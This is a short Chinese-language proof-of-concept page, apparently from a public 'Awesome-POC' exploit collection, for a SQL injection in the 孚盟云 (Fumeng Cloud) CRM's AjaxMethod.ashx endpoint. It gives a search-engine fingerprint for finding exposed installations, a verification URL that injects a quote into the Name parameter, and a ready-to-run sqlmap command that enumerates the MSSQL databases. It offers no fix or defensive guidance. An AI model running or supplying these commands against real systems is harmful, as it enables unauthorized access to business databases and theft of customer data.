Awesome-POC/Web应用漏洞/孚盟云 AjaxMethod.ashx SQL注入漏洞.md
2023-08-28 15:55:36 +08:00

51 lines
720 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 孚盟云 AjaxMethod.ashx SQL注入漏洞
## 漏洞描述
孚盟云 AjaxMethod.ashx文件存在SQL注入漏洞攻击者通过漏洞可获取服务器权限
## 漏洞影响
```
孚盟云
```
## 网络测绘
```
title="孚盟云 "
```
## 漏洞复现
登录页面
![image-20220210184424096](./images/202202101844185.png)
验证POC
```plain
http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27
```
![image-20220210184439151](./images/202202101844214.png)
使用Sqlmap
```plain
sqlmap -u "http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y" -p Name --batch --random-agent --dbms mssql --dbs
```
![image-20220210184456424](./images/202202101844599.png)